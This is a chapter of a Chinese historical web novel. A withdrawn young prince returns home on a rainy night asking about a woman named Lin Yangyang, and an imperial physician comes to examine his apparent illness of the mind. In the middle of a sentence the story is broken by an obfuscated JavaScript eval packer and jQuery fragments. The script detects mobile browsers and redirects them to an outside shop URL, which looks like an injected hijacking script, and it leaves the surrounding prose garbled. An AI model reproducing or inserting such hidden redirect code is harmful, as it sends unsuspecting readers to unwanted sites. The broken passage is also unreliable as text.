顺天城这一年的冬天来得早。
十月刚到，北风就从城墙外一阵一阵地刮进来，把街上卖炭人的吆喝声吹得又细又长。京城里的富贵人家早早烧起了地龙，穷人却还舍不得添棉衣。天一冷，人的脸色也跟着变了，连平日最爱闲谈的茶棚里，也少了几分热闹。
这天夜里，城中下了一场雨。
雨不大，却很密。落在瓦上、树上、青石路上，像有无数只小手在轻轻敲打。更夫敲过二更后，街上已经没有多少行人。顺天城毕竟是京城，夜禁森严，寻常百姓没有要紧事，是不敢在这个时候走动的。
可就在这雨夜里，明亲王府的角门忽然开了。
守门的老仆打着灯笼出去，看见一个人站在门外。
那人穿一身半旧青衣，衣摆上沾着泥水，头发被雨打湿了些，脸色很白，白得像是许多日没有好好睡过觉。老仆起先没认出来，直到灯笼往上一抬，照见那人的眉眼，才吓得手一抖。
“小王爷？”
陆云逸没有答话。
他站在雨里，看着府门上那块匾额，好像这不是自己的家，而是一个很久以前曾经路过的地方。
老仆急忙让人去里头报信，又把灯笼举高些，颤声问：“小王爷，您这是从哪儿回来？王爷这些日子一直派人……”
话说到一半，他又自己停住了。
明亲王陆棣铭确实派人找过，可派得并不大张旗鼓。王府里的人都知道，王爷待这个孩子向来冷淡。说不关心，也不是完全不关心；说关心，又不像旁人家的父亲。小王爷出门游历数年，王爷只是每隔一段日子问一句，有没有信回来。信来了，他看；信不来，他也不多问。
可是王府里的老人都看得出来，王爷其实是在意的。
有些人就是这样，越在意，越不肯在人前露出来。像冬天埋在灰里的炭，看着不红，手一伸过去，却能烫着人。
陆云逸仍然不说话。
雨水顺着他的下巴往下滴。他的右手紧紧握着什么东西，握得太用力，指节都泛了青。
老仆看得心慌，小心问：“小王爷，您手里拿的是什么？”
陆云逸像是这时才听见他说话，慢慢低下头，看了看自己的手。
他把手松开些。
掌心里是一块半残的玉佩。
那玉佩色泽温润，边缘却不齐整，像是原本一整块，被人从中间分成了两半。
老仆不识得这东西，只觉得它有些年头，便又问：“可是路上出了什么事？”
陆云逸终于抬起眼。
他的声音很轻。
“萍儿呢？”
老仆一怔，忙道：“萍儿姑娘在后院。小王爷，您先进屋，别淋坏了身子。”
陆云逸没有动。
他看着老仆，又问了一句：“萍儿呢？”
这声音仍旧不高，可老仆听得背上发冷。小王爷从前说话不是这样的。他自幼在宫里和诸皇子一同读书，举止温和，待下人也宽厚，从不让人难堪。可此刻他站在那里，明明还是那张脸，却像是整个人空了一半。
老仆不敢再问，忙让人去请萍儿。
不多时，一个中年女子披着衣裳匆匆赶来。
她年纪已不轻了，但身形仍很利落，眉眼也还看得出年轻时的清秀。王府里的人都叫她萍儿姑娘，其实她早过了被叫姑娘的年岁。只是她在府里身份特殊，既不是寻常仆妇，也不是正经主子。小王爷是她一手带大的，连王爷也对她多有敬重。
萍儿一见陆云逸，脚步便停住了。
她先是看见他湿透的衣裳，又看见他苍白的脸，最后看见了他掌中的玉佩。
那一瞬间，萍儿的脸色也白了。
她没有当着众人问什么，只走上前，轻声说：“云逸，先回屋。”
陆云逸看着她。
过了许久，他像是终于认出了她，低低叫了一声：“干妈。”
萍儿眼圈一红，忙上前扶住他。
可陆云逸却忽然笑了笑。
那笑不像欢喜，也不像伤心，只像一个人走了太远的路，终于看见灯火，却不知自己该不该进去。
他说：“我好像把人弄丢了。”
萍儿的手一颤。
“小王爷！”老仆在旁边急了，“快请太医吧！”
萍儿没有立刻应声。
她看着陆云逸的眼睛，心里慢慢沉了下去。
她比这些仆人更了解这个孩子。陆云逸从小聪明，聪明得叫人心疼。他很少说无用的话，也很少把真正的痛苦露给旁人看。这样的人一旦开口说自己把人弄丢了，那丢掉的，恐怕不是一个寻常人。
也许不只是人。
也许还有他自己。
萍儿扶着他往里走。
走到廊下时，陆云逸忽然停住，回头看了一眼雨中的府门。
萍儿问：“怎么了？”
陆云逸低声说：“她不肯进来。”
“谁？”
陆云逸沉默了一会儿。
“林鸯鸯。”
这个名字一出口，廊下几个仆人面面相觑。
他们不知道林鸯鸯是谁。
萍儿也不知道。
但她知道，从这一夜起，明亲王府不会再太平了。
……
天亮以后，王府便向宫里递了牌子。
牌子是明亲王陆棣铭亲自写的，字数不多，只说小王爷游历归来，途中受惊，神思不宁，请陛下恩准延医诊治。
一个富贵人家的孩子在外头受了惊，回来病了，请医问药，本不是什么大事。可这牌子一进宫，事情就不再只是王府的家事了。
因为陆云逸不是普通富贵子弟。
他是明亲王的独子，是安国皇帝的亲侄儿，也是这些年皇帝亲眼看着长大的孩子。
更要紧的是，陆云逸自小就不寻常。
京城里的人都知道，小王爷陆云逸温和有礼，才学出众，骑射文章都不输诸皇子。有人说这是明亲王府的福气，也有人说这是陆家的福气。还有些更会看风向的人，在背后说，陛下待这位小王爷，似乎比待许多皇子皇孙还要上心。
这些话没人敢拿到明面上说。
顺天城里的人过日子，有一条极简单的道理：跟皇帝有关的话，能少说就少说；跟皇帝家里人有关的话，最好连想都不要多想。
可人到底是人，越不让想的事情，越会在心里绕。
明亲王府牌子递进宫后，不到半日，宫里便传出旨意，命太医院祝由科颜淞入王府为小王爷诊治。
这道旨意若传出去不知会让多少人心里犯嘀咕。
若是寻常风寒，太医院多的是人。若是外伤，也有御医。偏偏召的是祝由科的太医。
祝由科治的不是头疼脑热，也不是刀伤箭伤。
他们治的是心病。
有时也治疯病。
颜淞接到旨意时，正在太医院值房里整理旧案。
太医院的值房不大，靠近东边角门。屋里常年有药气，夏天闷，冬天冷。几排木架上放着医案，有些是旧年的，有些是刚送来的。颜淞这个人平日不多说话，也不爱在同僚中间争短长。旁人做官求的是上进，他做官却只求不出错。
可人在京城，有些事不是你不想惹，就能躲得过去。
传旨的小内侍走后，颜淞在值房里站了很久。
他知道明亲王府的小王爷。
不但知道，还远远见过一次。
那是几年前宫中设宴，诸皇子皇孙都在，陆云逸也在其中。那孩子年纪不大，坐得很端正。旁人争着在皇帝面前露脸，他却不争。可皇帝问到时，他又能答得恰到好处。既不显得怯懦，也不显得张扬。
颜淞当时就觉得，这孩子心里有一杆秤。
这样的人，怎么会忽然神思不宁？
颜淞收好旧案，换上外袍，带着药箱出门。
从太医院到明亲王府，要穿过半座顺天城。昨夜的雨到午前才停，街上积水未干，车轮压过青石，发出沉闷的声响。沿街铺子大多已经开了门，卖炭的、卖药的、卖热汤面的，都把摊子往檐下挪了挪。雨后的寒气贴着地面走，人们说话时嘴边有白气，却仍得出来讨生活。
颜淞掀开车帘看了一眼。
他有时觉得，这京城像一口大锅。上头浮着油花，是王侯将相、朱门大户；下面沉着米粒，是千千万万靠力气活着的人。火候好时，连锅底的米粒也能分得几星油光；火候一猛，先糊的往往不是上头那层油，而是锅底那些看不见的米。
他已经很久没有这样看过街上的人了。
入太医院以后，他看的多是宫中贵人。那些人病了，有上好的药材，有温暖的屋子，有几个人昼夜守着。可颜淞年轻时也曾在民间行医。那时他见过许多心病。
有闺阁女子被逼嫁人，成亲前夜割了腕，被救回来后不言不语。家里人说她中了邪，请他去驱鬼。颜淞看了半日，知道她哪里是中邪，不过是被逼得无路可走。
也有穷书生屡试不中，整日说自己梦见金榜题名，醒来便哭。旁人笑他疯癫，颜淞却觉得，那人不是疯，是心里最后一点指望坏掉了。
世上的病，有些长在肉里，有些长在心里。
长在肉里的病，往往有药可医。长在心里的病，却大多不是一个人自己生出来的。
车子在明亲王府门前停下。
王府门前很安静。
这种安静不像普通人家病了之后的慌乱，倒像是有人事先把一切声音都压了下去。
颜淞递了名帖，很快有人领他进去。
明亲王府不算奢华，却处处规整。廊下的花木修剪得干净，石阶上没有一点泥。这样的府邸，本该给人一种安稳富贵的感觉，可颜淞走在里头，却总觉得少了些生气。
引路的是昨夜守门的老仆。
老仆姓吴，在王府多年，脸上皱纹很深，说话也谨慎。颜淞问小王爷昨晚如何，吴老仆犹豫了一下，只说：“醒着的时候多，睡着的时候少。”
“饮食呢？”
“用得不多。”
“可曾伤人？”
吴老仆忙摇头：“不曾。小王爷不是那等发狂的人。”
说完，他又像是想起什么，补了一句：“只是……有时认不得人。”
颜淞看了他一眼：“认不得谁？”
吴老仆低声道：“有时认得萍儿姑娘，有时又像不认得。有时问王爷在哪里，有时王爷去了，他又不见。还有一回，奴才听见小王爷在屋里说话，可进去一看，屋里只有他一个人。”
颜淞问：“他说什么？”
吴老仆脸上露出为难神色。
“奴才不敢听得太细。只听见一句。”
“哪一句？”
吴老仆左右看了看，压低声音道：“他说，‘别怕，我带你走。’”
颜淞没有再问。
他们穿过一道月洞门，来到后院。
陆云逸住的院子叫听雪斋。名字清雅，院中却没有雪，只有昨夜雨水打落的一地枯叶。萍儿正站在廊下等着。
她看见颜淞，行了一礼。
“太医。”
颜淞还礼：“萍儿姑娘。”
两人都没有多说客套话。
萍儿领他进屋前，忽然停住，道：“太医，云逸自幼懂事，若有什么话说得不合常理，还请太医不要立刻当成疯话。”
颜淞看着她。
萍儿的神情很平静，可那平静底下压着深深的不安。
颜淞道：“我只听病人说话，不替旁人定罪。”
萍儿这才推开门。
屋内很暖。
炭火烧得正旺，窗边却开着一道缝。风从缝里进来，吹得桌上一张纸轻轻晃动。
陆云逸坐在窗下。
他换了干净衣裳，头发也束好了。若只看外表，倒不像有病。只是他瘦了许多，脸色仍白，眼下有青影。手边放着一盏茶，茶已经冷了，他却没有喝。
颜淞进来时，他抬起头。
那双眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520926|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛很清亮。
太清亮了，反而让颜淞一时不好判断。
疯癫之人，眼神多半散乱。可眼前这个年轻人不像疯。他看人时安安静静，仿佛什么都明白，又仿佛什么都不愿说。
萍儿轻声道：“云逸，太医来了。”
陆云逸点了点头。
“有劳太医。”
声音温和，礼数周全。
颜淞坐到他对面，打开药箱，却没有立刻取脉枕。
“殿下昨夜睡得如何？”
陆云逸想了想：“不大好。”
“梦见什么了？”
陆云逸看向窗外。
院中枯叶被风吹得轻轻打转。
过了一会儿，他说：“梦见有人在敲门。”
“谁？”
“不知道。”
“殿下去开了吗？”
“开了。”
“门外有什么？”
陆云逸没有立刻回答。
他垂下眼，目光落在自己掌心。那块半残玉佩已经不在手里，但他的手指仍保持着微微蜷曲的姿势，像还握着什么东西。
“门外站着一个女子。”他说。
萍儿站在旁边，脸色微变。
颜淞问：“那女子是谁？”
陆云逸道：“我不知道。”
颜淞静静等着。
屋里很安静，连炭火偶尔爆开的声音都显得清楚。
许久之后，陆云逸又说：“她说她叫林鸯鸯。”
这个名字第二次在王府里出现。
萍儿的手指轻轻攥住了袖口。
颜淞脸上却没有什么变化。
他见过许多病人，知道这时候不能急着问。人的心像一口井，有时你越急着往下看，水面越乱；你若耐心等着，它反而会慢慢照出东西来。
“她来找殿下做什么？”颜淞问。
陆云逸轻声道：“她说她无处可去。”
“殿下认识她？”
陆云逸沉默。
这个沉默很长。
长到颜淞以为他不会回答了。
终于，陆云逸说：“也许认识。”
“也许？”
“有时我觉得认识，有时又觉得不认识。”
颜淞看着他：“那殿下觉得，她是梦里的人，还是从前见过的人？”
陆云逸抬起眼。
“太医觉得，人若死了，还会不会找地方住？”
这个问题问得很轻，却让屋里所有人都安静下来。
颜淞没有立刻答。
他知道自己面前的不是普通人家的少爷。若是旁人这样问，他可以顺着病人的话慢慢引导。可眼前这个人是小王爷。他说出的每一句话，都可能被传入宫中，被皇帝听见，被许多人反复揣摩。
但也正因为如此，颜淞忽然有些同情他。
一个人若连生病都不能随便病，那实在是一件可怜的事。
颜淞道：“人死之后住在哪里，臣不知道。臣只知道，活着的人若心中放不下，便会给死人留一间屋子。”
陆云逸听了这话，慢慢笑了一下。
这笑意很浅。
“太医是个会说话的人。”
颜淞道：“臣只是看过几个心病之人。”
“那太医觉得，我有心病？”
“殿下若无心病，陛下不会让臣来。”
陆云逸没有生气。
他甚至点了点头。
“陛下总是看得很远。”
萍儿听见这句话，眼神动了一下。
颜淞也听出了其中意味。
这话听起来像称赞，可又不全像称赞。它像一个孩子谈到长辈，也像一个臣子谈到君主，还像一个被看管许多年的人谈到看管自己的人。
颜淞不动声色地问：“殿下怕陛下吗？”
萍儿立刻看向他。
这个问题问得太直了。
陆云逸却并不避讳。
他想了一会儿，道：“天下人都该怕陛下。”
“那殿下呢？”
陆云逸看着颜淞。
“我也是天下人。”
颜淞心里微微一沉。
这话很清醒。
清醒得让人一时分不出它究竟是病中的直言，还是平日里绝不会说出口的真心话。
可就在下一刻，陆云逸忽然皱了皱眉，像是听见了旁人听不见的声音。
他侧过头，看向空空的屋角。
萍儿下意识上前一步：“云逸？”
陆云逸没有应她。
他的神情慢慢变得柔和，声音也低了下来。
“我知道。”他说。
屋里没有人接话。
颜淞望向那个屋角。
那里只有一只青瓷花瓶，瓶中插着几枝尚未开放的梅。
陆云逸却像是在听人说话。
片刻后，他轻轻道：“我没有忘。”
萍儿脸色发白。
颜淞低声问：“殿下在同谁说话？”
陆云逸没有回答。
他仍看着屋角，神色很温柔，也很悲伤。
过了一会儿，他忽然说：“她说，太医若要问，就从广陵问起。”
颜淞心头一动。
“广陵？”
陆云逸回过头，看着他。
“是。”
“广陵有什么？”
陆云逸端起手边那盏已经冷透的茶，却没有喝。
他的手很稳。
他说：“广陵城里昔繁华，炀帝行宫接紫霞…”
萍儿闭了闭眼。
颜淞慢慢坐直了身子。
他知道，真正的问诊从这一刻才开始。
可是他也隐约感觉到，自己将要听见的，未必只是一个人的病。
陆云逸望着窗外。
雨后的天色依然阴沉，院中枯叶湿漉漉地贴在地上，像许多被人踩过的旧纸。
他轻声说：
“她叫林鸯鸯。”